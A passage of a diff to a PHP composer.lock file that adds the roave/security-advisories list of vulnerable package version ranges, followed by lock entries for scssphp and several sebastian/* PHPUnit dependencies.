"<4.0.3", + "onelogin/php-saml": "<2.10.4", + "oneup/uploader-bundle": ">=1,<1.9.3|>=2,<2.1.5", + "open-web-analytics/open-web-analytics": "<1.7.4", + "opencart/opencart": "<=3.0.3.7|>=4,<4.0.2.3-dev", + "openid/php-openid": "<2.3", + "openmage/magento-lts": "<20.2", + "opensource-workshop/connect-cms": "<1.7.2|>=2,<2.3.2", + "orchid/platform": ">=9,<9.4.4|>=14.0.0.0-alpha4,<14.5", + "oro/calendar-bundle": ">=4.2,<=4.2.6|>=5,<=5.0.6|>=5.1,<5.1.1", + "oro/commerce": ">=4.1,<5.0.11|>=5.1,<5.1.1", + "oro/crm": ">=1.7,<1.7.4|>=3.1,<4.1.17|>=4.2,<4.2.7", + "oro/crm-call-bundle": ">=4.2,<=4.2.5|>=5,<5.0.4|>=5.1,<5.1.1", + "oro/customer-portal": ">=4.2,<=4.2.8|>=5,<5.0.11|>=5.1,<5.1.1", + "oro/platform": ">=1.7,<1.7.4|>=3.1,<3.1.29|>=4.1,<4.1.17|>=4.2,<=4.2.10|>=5,<5.0.8", + "oxid-esales/oxideshop-ce": "<4.5", + "packbackbooks/lti-1-3-php-library": "<5", + "padraic/humbug_get_contents": "<1.1.2", + "pagarme/pagarme-php": "<3", + "pagekit/pagekit": "<=1.0.18", + "paragonie/random_compat": "<2", + "passbolt/passbolt_api": "<2.11", + "paypal/merchant-sdk-php": "<3.12", + "pear/archive_tar": "<1.4.14", + "pear/auth": "<1.2.4", + "pear/crypt_gpg": "<1.6.7", + "pear/pear": "<=1.10.1", + "pegasus/google-for-jobs": "<1.5.1|>=2,<2.1.1", + "personnummer/personnummer": "<3.0.2", + "phanan/koel": "<5.1.4", + "phenx/php-svg-lib": "<0.5.1", + "php-mod/curl": "<2.3.2", + "phpbb/phpbb": "<3.2.10|>=3.3,<3.3.1", + "phpems/phpems": ">=6,<=6.1.3", + "phpfastcache/phpfastcache": "<6.1.5|>=7,<7.1.2|>=8,<8.0.7", + "phpmailer/phpmailer": "<6.5", + "phpmussel/phpmussel": ">=1,<1.6", + "phpmyadmin/phpmyadmin": "<5.2.1", + "phpmyfaq/phpmyfaq": "<3.2.5", + "phpoffice/phpexcel": "<1.8", + "phpoffice/phpspreadsheet": "<1.16", + "phpseclib/phpseclib": "<2.0.31|>=3,<3.0.34", + "phpservermon/phpservermon": "<3.6", + "phpsysinfo/phpsysinfo": "<3.4.3", + "phpunit/phpunit": ">=4.8.19,<4.8.28|>=5.0.10,<5.6.3", + "phpwhois/phpwhois": "<=4.2.5", + "phpxmlrpc/extras": "<0.6.1", + "phpxmlrpc/phpxmlrpc": "<4.9.2", + "pi/pi": "<=2.5", + "pimcore/admin-ui-classic-bundle": "<1.3.3", + "pimcore/customer-management-framework-bundle": "<4.0.6", + "pimcore/data-hub": "<1.2.4", + "pimcore/demo": "<10.3", + "pimcore/ecommerce-framework-bundle": "<1.0.10", + "pimcore/perspective-editor": "<1.5.1", + "pimcore/pimcore": "<11.1.1", + "pixelfed/pixelfed": "<0.11.11", + "plotly/plotly.js": "<2.25.2", + "pocketmine/bedrock-protocol": "<8.0.2", + "pocketmine/pocketmine-mp": "<=4.23|>=5,<5.3.1", + "pocketmine/raklib": ">=0.14,<0.14.6|>=0.15,<0.15.1", + "pressbooks/pressbooks": "<5.18", + "prestashop/autoupgrade": ">=4,<4.10.1", + "prestashop/blockreassurance": "<=5.1.3", + "prestashop/blockwishlist": ">=2,<2.1.1", + "prestashop/contactform": ">=1.0.1,<4.3", + "prestashop/gamification": "<2.3.2", + "prestashop/prestashop": "<8.1.3", + "prestashop/productcomments": "<5.0.2", + "prestashop/ps_emailsubscription": "<2.6.1", + "prestashop/ps_facetedsearch": "<3.4.1", + "prestashop/ps_linklist": "<3.1", + "privatebin/privatebin": "<1.4", + "processwire/processwire": "<=3.0.210", + "propel/propel": ">=2.0.0.0-alpha1,<=2.0.0.0-alpha7", + "propel/propel1": ">=1,<=1.7.1", + "pterodactyl/panel": "<1.7", + "ptheofan/yii2-statemachine": ">=2.0.0.0-RC1-dev,<=2", + "ptrofimov/beanstalk_console": "<1.7.14", + "pubnub/pubnub": "<6.1", + "pusher/pusher-php-server": "<2.2.1", + "pwweb/laravel-core": "<=0.3.6.0-beta", + "pyrocms/pyrocms": "<=3.9.1", + "rainlab/blog-plugin": "<1.4.1", + "rainlab/debugbar-plugin": "<3.1", + "rainlab/user-plugin": "<=1.4.5", + "rankmath/seo-by-rank-math": "<=1.0.95", + "rap2hpoutre/laravel-log-viewer": "<0.13", + "react/http": ">=0.7,<1.9", + "really-simple-plugins/complianz-gdpr": "<6.4.2", + "remdex/livehelperchat": "<3.99", + "reportico-web/reportico": "<=7.1.21", + "rhukster/dom-sanitizer": "<1.0.7", + "rmccue/requests": ">=1.6,<1.8", + "robrichards/xmlseclibs": ">=1,<3.0.4", + "roots/soil": "<4.1", + "rudloff/alltube": "<3.0.3", + "s-cart/core": "<6.9", + "s-cart/s-cart": "<6.9", + "sabberworm/php-css-parser": ">=1,<1.0.1|>=2,<2.0.1|>=3,<3.0.1|>=4,<4.0.1|>=5,<5.0.9|>=5.1,<5.1.3|>=5.2,<5.2.1|>=6,<6.0.2|>=7,<7.0.4|>=8,<8.0.1|>=8.1,<8.1.1|>=8.2,<8.2.1|>=8.3,<8.3.1", + "sabre/dav": ">=1.6,<1.7.11|>=1.8,<1.8.9", + "scheb/two-factor-bundle": "<3.26|>=4,<4.11", + "sensiolabs/connect": "<4.2.3", + "serluck/phpwhois": "<=4.2.6", + "sfroemken/url_redirect": "<=1.2.1", + "sheng/yiicms": "<=1.2", + "shopware/core": "<=6.5.7.3", + "shopware/platform": "<=6.5.7.3", + "shopware/production": "<=6.3.5.2", + "shopware/shopware": "<=5.7.17", + "shopware/storefront": "<=6.4.8.1", + "shopxo/shopxo": "<2.2.6", + "showdoc/showdoc": "<2.10.4", + "silverstripe-australia/advancedreports": ">=1,<=2", + "silverstripe/admin": "<1.13.19|>=2,<2.1.8", + "silverstripe/assets": ">=1,<1.11.1", + "silverstripe/cms": "<4.11.3", + "silverstripe/comments": ">=1.3,<1.9.99|>=2,<2.9.99|>=3,<3.1.1", + "silverstripe/forum": "<=0.6.1|>=0.7,<=0.7.3", + "silverstripe/framework": "<4.13.39|>=5,<5.1.11", + "silverstripe/graphql": ">=2,<2.0.5|>=3,<3.8.2|>=4,<4.3.7|>=5,<5.1.3", + "silverstripe/hybridsessions": ">=1,<2.4.1|>=2.5,<2.5.1", + "silverstripe/recipe-cms": ">=4.5,<4.5.3", + "silverstripe/registry": ">=2.1,<2.1.2|>=2.2,<2.2.1", + "silverstripe/restfulserver": ">=1,<1.0.9|>=2,<2.0.4", + "silverstripe/silverstripe-omnipay": "<2.5.2|>=3,<3.0.2|>=3.1,<3.1.4|>=3.2,<3.2.1", + "silverstripe/subsites": ">=2,<2.6.1", + "silverstripe/taxonomy": ">=1.3,<1.3.1|>=2,<2.0.1", + "silverstripe/userforms": "<3", + "silverstripe/versioned-admin": ">=1,<1.11.1", + "simple-updates/phpwhois": "<=1", + "simplesamlphp/saml2": "<1.10.6|>=2,<2.3.8|>=3,<3.1.4|==5.0.0.0-alpha12", + "simplesamlphp/simplesamlphp": "<1.18.6", + "simplesamlphp/simplesamlphp-module-infocard": "<1.0.1", + "simplesamlphp/simplesamlphp-module-openid": "<1", + "simplesamlphp/simplesamlphp-module-openidprovider": "<0.9", + "simplesamlphp/xml-security": "==1.6.11", + "simplito/elliptic-php": "<1.0.6", + "sitegeist/fluid-components": "<3.5", + "sjbr/sr-freecap": "<2.4.6|>=2.5,<2.5.3", + "slim/psr7": "<1.4.1|>=1.5,<1.5.1|>=1.6,<1.6.1", + "slim/slim": "<2.6", + "slub/slub-events": "<3.0.3", + "smarty/smarty": "<3.1.48|>=4,<4.3.1", + "snipe/snipe-it": "<=6.2.2", + "socalnick/scn-social-auth": "<1.15.2", + "socialiteproviders/steam": "<1.1", + "spatie/browsershot": "<3.57.4", + "spipu/html2pdf": "<5.2.8", + "spoon/library": "<1.4.1", + "spoonity/tcpdf": "<6.2.22", + "squizlabs/php_codesniffer": ">=1,<2.8.1|>=3,<3.0.1", + "ssddanbrown/bookstack": "<22.02.3", + "statamic/cms": "<4.46", + "stormpath/sdk": "<9.9.99", + "studio-42/elfinder": "<2.1.62", + "subhh/libconnect": "<7.0.8|>=8,<8.1", + "sukohi/surpass": "<1", + "sulu/sulu": "<1.6.44|>=2,<2.4.16|>=2.5,<2.5.12", + "sumocoders/framework-user-bundle": "<1.4", + "superbig/craft-audit": "<3.0.2", + "swag/paypal": "<5.4.4", + "swiftmailer/swiftmailer": ">=4,<5.4.5", + "swiftyedit/swiftyedit": "<1.2", + "sylius/admin-bundle": ">=1,<1.0.17|>=1.1,<1.1.9|>=1.2,<1.2.2", + "sylius/grid": ">=1,<1.1.19|>=1.2,<1.2.18|>=1.3,<1.3.13|>=1.4,<1.4.5|>=1.5,<1.5.1", + "sylius/grid-bundle": "<1.10.1", + "sylius/paypal-plugin": ">=1,<1.2.4|>=1.3,<1.3.1", + "sylius/resource-bundle": ">=1,<1.3.14|>=1.4,<1.4.7|>=1.5,<1.5.2|>=1.6,<1.6.4", + "sylius/sylius": "<1.9.10|>=1.10,<1.10.11|>=1.11,<1.11.2", + "symbiote/silverstripe-multivaluefield": ">=3,<3.0.99", + "symbiote/silverstripe-queuedjobs": ">=3,<3.0.2|>=3.1,<3.1.4|>=4,<4.0.7|>=4.1,<4.1.2|>=4.2,<4.2.4|>=4.3,<4.3.3|>=4.4,<4.4.3|>=4.5,<4.5.1|>=4.6,<4.6.4", + "symbiote/silverstripe-seed": "<6.0.3", + "symbiote/silverstripe-versionedfiles": "<=2.0.3", + "symfont/process": ">=0", + "symfony/cache": ">=3.1,<3.4.35|>=4,<4.2.12|>=4.3,<4.3.8", + "symfony/dependency-injection": ">=2,<2.0.17|>=2.7,<2.7.51|>=2.8,<2.8.50|>=3,<3.4.26|>=4,<4.1.12|>=4.2,<4.2.7", + "symfony/error-handler": ">=4.4,<4.4.4|>=5,<5.0.4", + "symfony/form": ">=2.3,<2.3.35|>=2.4,<2.6.12|>=2.7,<2.7.50|>=2.8,<2.8.49|>=3,<3.4.20|>=4,<4.0.15|>=4.1,<4.1.9|>=4.2,<4.2.1", + "symfony/framework-bundle": ">=2,<2.3.18|>=2.4,<2.4.8|>=2.5,<2.5.2|>=2.7,<2.7.51|>=2.8,<2.8.50|>=3,<3.4.26|>=4,<4.1.12|>=4.2,<4.2.7|>=5.3.14,<=5.3.14|>=5.4.3,<=5.4.3|>=6.0.3,<=6.0.3", + "symfony/http-foundation": ">=2,<2.8.52|>=3,<3.4.35|>=4,<4.2.12|>=4.3,<4.3.8|>=4.4,<4.4.7|>=5,<5.0.7", + "symfony/http-kernel": ">=2,<4.4.50|>=5,<5.4.20|>=6,<6.0.20|>=6.1,<6.1.12|>=6.2,<6.2.6", + "symfony/intl": ">=2.7,<2.7.38|>=2.8,<2.8.31|>=3,<3.2.14|>=3.3,<3.3.13", + "symfony/maker-bundle": ">=1.27,<1.29.2|>=1.30,<1.31.1", + "symfony/mime": ">=4.3,<4.3.8", + "symfony/phpunit-bridge": ">=2.8,<2.8.50|>=3,<3.4.26|>=4,<4.1.12|>=4.2,<4.2.7", + "symfony/polyfill": ">=1,<1.10", + "symfony/polyfill-php55": ">=1,<1.10", + "symfony/proxy-manager-bridge": ">=2.7,<2.7.51|>=2.8,<2.8.50|>=3,<3.4.26|>=4,<4.1.12|>=4.2,<4.2.7", + "symfony/routing": ">=2,<2.0.19", + "symfony/security": ">=2,<2.7.51|>=2.8,<3.4.49|>=4,<4.4.24|>=5,<5.2.8", + "symfony/security-bundle": ">=2,<4.4.50|>=5,<5.4.20|>=6,<6.0.20|>=6.1,<6.1.12|>=6.2,<6.2.6", + "symfony/security-core": ">=2.4,<2.6.13|>=2.7,<2.7.9|>=2.7.30,<2.7.32|>=2.8,<3.4.49|>=4,<4.4.24|>=5,<5.2.9", + "symfony/security-csrf": ">=2.4,<2.7.48|>=2.8,<2.8.41|>=3,<3.3.17|>=3.4,<3.4.11|>=4,<4.0.11", + "symfony/security-guard": ">=2.8,<3.4.48|>=4,<4.4.23|>=5,<5.2.8", + "symfony/security-http": ">=2.3,<2.3.41|>=2.4,<2.7.51|>=2.8,<2.8.50|>=3,<3.4.26|>=4,<4.2.12|>=4.3,<4.3.8|>=4.4,<4.4.7|>=5,<5.0.7|>=5.1,<5.2.8|>=5.3,<5.3.2|>=5.4,<5.4.31|>=6,<6.3.8", + "symfony/serializer": ">=2,<2.0.11|>=4.1,<4.4.35|>=5,<5.3.12", + "symfony/symfony": ">=2,<4.4.51|>=5,<5.4.31|>=6,<6.3.8", + "symfony/translation": ">=2,<2.0.17", + "symfony/twig-bridge": ">=2,<4.4.51|>=5,<5.4.31|>=6,<6.3.8", + "symfony/ux-autocomplete": "<2.11.2", + "symfony/validator": ">=2,<2.0.24|>=2.1,<2.1.12|>=2.2,<2.2.5|>=2.3,<2.3.3", + "symfony/var-exporter": ">=4.2,<4.2.12|>=4.3,<4.3.8", + "symfony/web-profiler-bundle": ">=2,<2.3.19|>=2.4,<2.4.9|>=2.5,<2.5.4", + "symfony/webhook": ">=6.3,<6.3.8", + "symfony/yaml": ">=2,<2.0.22|>=2.1,<2.1.7|>=2.2.0.0-beta1,<2.2.0.0-beta2", + "symphonycms/symphony-2": "<2.6.4", + "t3/dce": "<0.11.5|>=2.2,<2.6.2", + "t3g/svg-sanitizer": "<1.0.3", + "t3s/content-consent": "<1.0.3|>=2,<2.0.2", + "tastyigniter/tastyigniter": "<3.3", + "tcg/voyager": "<=1.4", + "tecnickcom/tcpdf": "<6.2.22", + "terminal42/contao-tablelookupwizard": "<3.3.5", + "thelia/backoffice-default-template": ">=2.1,<2.1.2", + "thelia/thelia": ">=2.1,<2.1.3", + "theonedemon/phpwhois": "<=4.2.5", + "thinkcmf/thinkcmf": "<=5.1.7", + "thorsten/phpmyfaq": "<3.2.2", + "tikiwiki/tiki-manager": "<=17.1", + "tinymce/tinymce": "<5.10.9|>=6,<6.7.3", + "tinymighty/wiki-seo": "<1.2.2", + "titon/framework": "<9.9.99", + "tobiasbg/tablepress": "<=2.0.0.0-RC1", + "topthink/framework": "<6.0.14", + "topthink/think": "<=6.1.1", + "topthink/thinkphp": "<=3.2.3", + "tpwd/ke_search": "<4.0.3|>=4.1,<4.6.6|>=5,<5.0.2", + "tribalsystems/zenario": "<=9.4.59197", + "truckersmp/phpwhois": "<=4.3.1", + "ttskch/pagination-service-provider": "<1", + "twig/twig": "<1.44.7|>=2,<2.15.3|>=3,<3.4.3", + "typo3/cms": "<9.5.29|>=10,<10.4.35|>=11,<11.5.23|>=12,<12.2", + "typo3/cms-backend": "<4.1.14|>=4.2,<4.2.15|>=4.3,<4.3.7|>=4.4,<4.4.4|>=7,<=7.6.50|>=8,<=8.7.39|>=9,<=9.5.24|>=10,<=10.4.13|>=11,<=11.1", + "typo3/cms-core": "<=8.7.56|>=9,<=9.5.45|>=10,<=10.4.42|>=11,<=11.5.34|>=12,<=12.4.10|==13", + "typo3/cms-extbase": "<6.2.24|>=7,<7.6.8|==8.1.1", + "typo3/cms-fluid": "<4.3.4|>=4.4,<4.4.1", + "typo3/cms-form": ">=8,<=8.7.39|>=9,<=9.5.24|>=10,<=10.4.13|>=11,<=11.1", + "typo3/cms-frontend": "<4.3.9|>=4.4,<4.4.5", + "typo3/cms-install": "<4.1.14|>=4.2,<4.2.16|>=4.3,<4.3.9|>=4.4,<4.4.5|>=12.2,<12.4.8", + "typo3/cms-rte-ckeditor": ">=9.5,<9.5.42|>=10,<10.4.39|>=11,<11.5.30", + "typo3/flow": ">=1,<1.0.4|>=1.1,<1.1.1|>=2,<2.0.1|>=2.3,<2.3.16|>=3,<3.0.12|>=3.1,<3.1.10|>=3.2,<3.2.13|>=3.3,<3.3.13|>=4,<4.0.6", + "typo3/html-sanitizer": ">=1,<=1.5.2|>=2,<=2.1.3", + "typo3/neos": ">=1.1,<1.1.3|>=1.2,<1.2.13|>=2,<2.0.4|>=2.3,<2.3.99|>=3,<3.0.20|>=3.1,<3.1.18|>=3.2,<3.2.14|>=3.3,<3.3.23|>=4,<4.0.17|>=4.1,<4.1.16|>=4.2,<4.2.12|>=4.3,<4.3.3", + "typo3/phar-stream-wrapper": ">=1,<2.1.1|>=3,<3.1.1", + "typo3/swiftmailer": ">=4.1,<4.1.99|>=5.4,<5.4.5", + "typo3fluid/fluid": ">=2,<2.0.8|>=2.1,<2.1.7|>=2.2,<2.2.4|>=2.3,<2.3.7|>=2.4,<2.4.4|>=2.5,<2.5.11|>=2.6,<2.6.10", + "ua-parser/uap-php": "<3.8", + "uasoft-indonesia/badaso": "<=2.9.7", + "unisharp/laravel-filemanager": "<2.6.4", + "userfrosting/userfrosting": ">=0.3.1,<4.6.3", + "usmanhalalit/pixie": "<1.0.3|>=2,<2.0.2", + "uvdesk/community-skeleton": "<=1.1.1", + "vanilla/safecurl": "<0.9.2", + "verot/class.upload.php": "<=2.1.6", + "vova07/yii2-fileapi-widget": "<0.1.9", + "vrana/adminer": "<4.8.1", + "waldhacker/hcaptcha": "<2.1.2", + "wallabag/tcpdf": "<6.2.22", + "wallabag/wallabag": "<2.6.7", + "wanglelecc/laracms": "<=1.0.3", + "web-auth/webauthn-framework": ">=3.3,<3.3.4", + "webbuilders-group/silverstripe-kapost-bridge": "<0.4", + "webcoast/deferred-image-processing": "<1.0.2", + "webklex/laravel-imap": "<5.3", + "webklex/php-imap": "<5.3", + "webpa/webpa": "<3.1.2", + "wikibase/wikibase": "<=1.39.3", + "wikimedia/parsoid": "<0.12.2", + "willdurand/js-translation-bundle": "<2.1.1", + "winter/wn-backend-module": "<1.2.4", + "winter/wn-system-module": "<1.2.4", + "wintercms/winter": "<1.2.3", + "woocommerce/woocommerce": "<6.6", + "wp-cli/wp-cli": ">=0.12,<2.5", + "wp-graphql/wp-graphql": "<=1.14.5", + "wpanel/wpanel4-cms": "<=4.3.1", + "wpcloud/wp-stateless": "<3.2", + "wwbn/avideo": "<=12.4", + "xataface/xataface": "<3", + "xpressengine/xpressengine": "<3.0.15", + "yeswiki/yeswiki": "<4.1", + "yetiforce/yetiforce-crm": "<=6.4", + "yidashi/yii2cmf": "<=2", + "yii2mod/yii2-cms": "<1.9.2", + "yiisoft/yii": "<1.1.29", + "yiisoft/yii2": "<2.0.38", + "yiisoft/yii2-authclient": "<2.2.15", + "yiisoft/yii2-bootstrap": "<2.0.4", + "yiisoft/yii2-dev": "<2.0.43", + "yiisoft/yii2-elasticsearch": "<2.0.5", + "yiisoft/yii2-gii": "<=2.2.4", + "yiisoft/yii2-jui": "<2.0.4", + "yiisoft/yii2-redis": "<2.0.8", + "yikesinc/yikes-inc-easy-mailchimp-extender": "<6.8.6", + "yoast-seo-for-typo3/yoast_seo": "<7.2.3", + "yourls/yourls": "<=1.8.2", + "yuan1994/tpadmin": "<=1.3.12", + "zencart/zencart": "<=1.5.7.0-beta", + "zendesk/zendesk_api_client_php": "<2.2.11", + "zendframework/zend-cache": ">=2.4,<2.4.8|>=2.5,<2.5.3", + "zendframework/zend-captcha": ">=2,<2.4.9|>=2.5,<2.5.2", + "zendframework/zend-crypt": ">=2,<2.4.9|>=2.5,<2.5.2", + "zendframework/zend-db": "<2.2.10|>=2.3,<2.3.5", + "zendframework/zend-developer-tools": ">=1.2.2,<1.2.3", + "zendframework/zend-diactoros": "<1.8.4", + "zendframework/zend-feed": "<2.10.3", + "zendframework/zend-form": ">=2,<2.2.7|>=2.3,<2.3.1", + "zendframework/zend-http": "<2.8.1", + "zendframework/zend-json": ">=2.1,<2.1.6|>=2.2,<2.2.6", + "zendframework/zend-ldap": ">=2,<2.0.99|>=2.1,<2.1.99|>=2.2,<2.2.8|>=2.3,<2.3.3", + "zendframework/zend-mail": ">=2,<2.4.11|>=2.5,<2.7.2", + "zendframework/zend-navigation": ">=2,<2.2.7|>=2.3,<2.3.1", + "zendframework/zend-session": ">=2,<2.0.99|>=2.1,<2.1.99|>=2.2,<2.2.9|>=2.3,<2.3.4", + "zendframework/zend-validator": ">=2.3,<2.3.6", + "zendframework/zend-view": ">=2,<2.2.7|>=2.3,<2.3.1", + "zendframework/zend-xmlrpc": ">=2.1,<2.1.6|>=2.2,<2.2.6", + "zendframework/zendframework": "<=3", + "zendframework/zendframework1": "<1.12.20", + "zendframework/zendopenid": "<2.0.2", + "zendframework/zendrest": "<2.0.2", + "zendframework/zendservice-amazon": "<2.0.3", + "zendframework/zendservice-api": "<1", + "zendframework/zendservice-audioscrobbler": "<2.0.2", + "zendframework/zendservice-nirvanix": "<2.0.2", + "zendframework/zendservice-slideshare": "<2.0.2", + "zendframework/zendservice-technorati": "<2.0.2", + "zendframework/zendservice-windowsazure": "<2.0.2", + "zendframework/zendxml": ">=1,<1.0.1", + "zenstruck/collection": "<0.2.1", + "zetacomponents/mail": "<1.8.2", + "zf-commons/zfc-user": "<1.2.2", + "zfcampus/zf-apigility-doctrine": ">=1,<1.0.3", + "zfr/zfr-oauth2-server-module": "<0.1.2", + "zoujingli/thinkadmin": "<=6.1.53" + }, + "type": "metapackage", + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Marco Pivetta", + "email": "ocramius@gmail.com", + "role": "maintainer" + }, + { + "name": "Ilya Tribusean", + "email": "slash3b@gmail.com", + "role": "maintainer" + } + ], + "description": "Prevents installation of composer packages with known security vulnerabilities: no API, simply require it", + "keywords": [ + "dev" + ], + "support": { + "issues": "https://github.com/Roave/SecurityAdvisories/issues", + "source": "https://github.com/Roave/SecurityAdvisories/tree/latest" + }, + "funding": [ + { + "url": "https://github.com/Ocramius", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/roave/security-advisories", + "type": "tidelift" + } + ], + "time": "2024-02-19T06:05:04+00:00" + }, + { + "name": "scssphp/scssphp", + "version": "v1.11.1", + "source": { + "type": "git", + "url": "https://github.com/scssphp/scssphp.git", + "reference": "ace2503684bab0dcc817d7614c8a54b865122414" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/scssphp/scssphp/zipball/ace2503684bab0dcc817d7614c8a54b865122414", + "reference": "ace2503684bab0dcc817d7614c8a54b865122414", + "shasum": "" + }, + "require": { + "ext-ctype": "*", + "ext-json": "*", + "php": ">=5.6.0" + }, + "require-dev": { + "bamarni/composer-bin-plugin": "^1.4", + "phpunit/phpunit": "^5.7 || ^6.5 || ^7.5 || ^8.3 || ^9.4", + "sass/sass-spec": "*", + "squizlabs/php_codesniffer": "~3.5", + "symfony/phpunit-bridge": "^5.1", + "thoughtbot/bourbon": "^7.0", + "twbs/bootstrap": "~5.0", + "twbs/bootstrap4": "4.6.1", + "zurb/foundation": "~6.7.0" + }, + "suggest": { + "ext-iconv": "Can be used as fallback when ext-mbstring is not available", + "ext-mbstring": "For best performance, mbstring should be installed as it is faster than ext-iconv" + }, + "bin": [ + "bin/pscss" + ], + "type": "library", + "extra": { + "bamarni-bin": { + "forward-command": false, + "bin-links": false + } + }, + "autoload": { + "psr-4": { + "ScssPhp\\ScssPhp\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Anthon Pang", + "email": "apang@softwaredevelopment.ca", + "homepage": "https://github.com/robocoder" + }, + { + "name": "Cédric Morin", + "email": "cedric@yterium.com", + "homepage": "https://github.com/Cerdic" + } + ], + "description": "scssphp is a compiler for SCSS written in PHP.", + "homepage": "http://scssphp.github.io/scssphp/", + "keywords": [ + "css", + "less", + "sass", + "scss", + "stylesheet" + ], + "support": { + "issues": "https://github.com/scssphp/scssphp/issues", + "source": "https://github.com/scssphp/scssphp/tree/v1.11.1" + }, + "time": "2023-09-24T13:38:17+00:00" + }, + { + "name": "sebastian/cli-parser", + "version": "1.0.1", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/cli-parser.git", + "reference": "442e7c7e687e42adc03470c7b668bc4b2402c0b2" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/cli-parser/zipball/442e7c7e687e42adc03470c7b668bc4b2402c0b2", + "reference": "442e7c7e687e42adc03470c7b668bc4b2402c0b2", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Library for parsing CLI options", + "homepage": "https://github.com/sebastianbergmann/cli-parser", + "support": { + "issues": "https://github.com/sebastianbergmann/cli-parser/issues", + "source": "https://github.com/sebastianbergmann/cli-parser/tree/1.0.1" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2020-09-28T06:08:49+00:00" + }, + { + "name": "sebastian/code-unit", + "version": "1.0.8", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/code-unit.git", + "reference": "1fc9f64c0927627ef78ba436c9b17d967e68e120" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/code-unit/zipball/1fc9f64c0927627ef78ba436c9b17d967e68e120", + "reference": "1fc9f64c0927627ef78ba436c9b17d967e68e120", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de", + "role": "lead" + } + ], + "description": "Collection of value objects that represent the PHP code units", + "homepage": "https://github.com/sebastianbergmann/code-unit", + "support": { + "issues": "https://github.com/sebastianbergmann/code-unit/issues", + "source": "https://github.com/sebastianbergmann/code-unit/tree/1.0.8" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2020-10-26T13:08:54+00:00" + }, + { + "name": "sebastian/code-unit-reverse-lookup", + "version": "2.0.3", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/code-unit-reverse-lookup.git", + "reference": "ac91f01ccec49fb77bdc6fd1e548bc70f7faa3e5" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/code-unit-reverse-lookup/zipball/ac91f01ccec49fb77bdc6fd1e548bc70f7faa3e5", + "reference": "ac91f01ccec49fb77bdc6fd1e548bc70f7faa3e5", + "shasum": "" + }, + "require": { + "php": ">=7.3" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + } + ], + "description": "Looks up which function or method a line of code belongs to", + "homepage": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/", + "support": { + "issues": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/issues", + "source": "https://github.com/sebastianbergmann/code-unit-reverse-lookup/tree/2.0.3" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2020-09-28T05:30:19+00:00" + }, + { + "name": "sebastian/comparator", + "version": "4.0.8", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/comparator.git", + "reference": "fa0f136dd2334583309d32b62544682ee972b51a" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/comparator/zipball/fa0f136dd2334583309d32b62544682ee972b51a", + "reference": "fa0f136dd2334583309d32b62544682ee972b51a", + "shasum": "" + }, + "require": { + "php": ">=7.3", + "sebastian/diff": "^4.0", + "sebastian/exporter": "^4.0" + }, + "require-dev": { + "phpunit/phpunit": "^9.3" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "4.0-dev" + } + }, + "autoload": { + "classmap": [ + "src/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-3-Clause" + ], + "authors": [ + { + "name": "Sebastian Bergmann", + "email": "sebastian@phpunit.de" + }, + { + "name": "Jeff Welch", + "email": "whatthejeff@gmail.com" + }, + { + "name": "Volker Dusch", + "email": "github@wallbash.com" + }, + { + "name": "Bernhard Schussek", + "email": "bschussek@2bepublished.at" + } + ], + "description": "Provides the functionality to compare PHP values for equality", + "homepage": "https://github.com/sebastianbergmann/comparator", + "keywords": [ + "comparator", + "compare", + "equality" + ], + "support": { + "issues": "https://github.com/sebastianbergmann/comparator/issues", + "source": "https://github.com/sebastianbergmann/comparator/tree/4.0.8" + }, + "funding": [ + { + "url": "https://github.com/sebastianbergmann", + "type": "github" + } + ], + "time": "2022-09-14T12:41:17+00:00" + }, + { + "name": "sebastian/complexity", + "version": "2.0.3", + "source": { + "type": "git", + "url": "https://github.com/sebastianbergmann/complexity.git", + "reference": "25f207c40d62b8b7aa32f5ab026c53561964053a" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/sebastianbergmann/complexity/zipball/25f207c40d62b8b7aa32f5ab026c53561964053a", + "reference": "25f207c40d62b8b7aa32f5ab026c53561964053a", + "shasum": "" + }, + "require": { + "nikic/php-parser": "^4.18 || ^5.0", + "php": ">=7.3" + }, + 